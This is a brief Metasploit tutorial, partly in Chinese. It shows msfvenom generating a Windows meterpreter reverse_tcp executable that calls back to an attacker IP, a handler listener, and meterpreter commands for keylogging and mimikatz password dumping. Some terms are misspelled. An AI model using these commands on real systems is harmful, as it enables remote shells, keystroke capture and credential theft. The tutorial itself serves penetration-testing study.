1. What is MSF
MSF is the abbreviation of metasploit framework, which is a penetration framework widely used in the world.
There are the following modules in MSF, namely:
exploits
auxiliary
post
payload
excoders
nops
evasion
Second, the use of MSF
1. Start the SQL service
service postgresql start
或者:systemctl start postgresql
2. Initialize the database service
msfdb init
3. Enter the msf interface
msfconsole
4. Check whether the database service is normal
db_status
5. msf common commands
use 攻击模块
show payloads
set payloads
set target
show options
set rhosts
set rports
exploit
search
3. Generation of payload: msfvenom
msfvenom -l payloads #查看msfvenom中所有的payload
msfvenom --list formats #查看支持的后缀名的格式
Generate connection horse:
msfvenom -p 指定要使用的payload lhost=回连攻击机ip地址 lport=回连攻击机的端口 -f 指定要输出的payload格式 > 输出的文件路径+文件名
---------
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<攻击机IP地址> LPORT=<连接的端口号> -f exe >name.exe
Local setting monitor:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.1.2<本机ip地址>
set lport 3344<本机指定端口>
exploit
Successfully rebound shell...
Fourth, the use of meterpreter
常用命令:
backgrouond #将meterpreter会话终端隐藏在后台
sessions #查看已经成功获取的会话,使用sessions -l
quit #直接关闭当前的meterpreter会话终端
shell #获取系统的控制台shell
ps #查看目标主机运行的进程信息
migrate #将meterpreter会话从一个进程迁移到另一个进程
execute #可在目标机器执行文件
getpid #获取当前会话所在进程的pid值
kill 进程号 #杀死指定进程号
getuid #获取运行meterpreter会话的用户名,了解当前权限
键盘记录:
keyscan_start
keyscan_dump
keyscan_stop #键盘记录
mimikatz模块:
load mimikatz #加载mimikatz
msc #获取hash值
kerberos #获取明文密码
wdigest #获取系统账户信息
mimikatz_command -f sekurlsa::searchPassword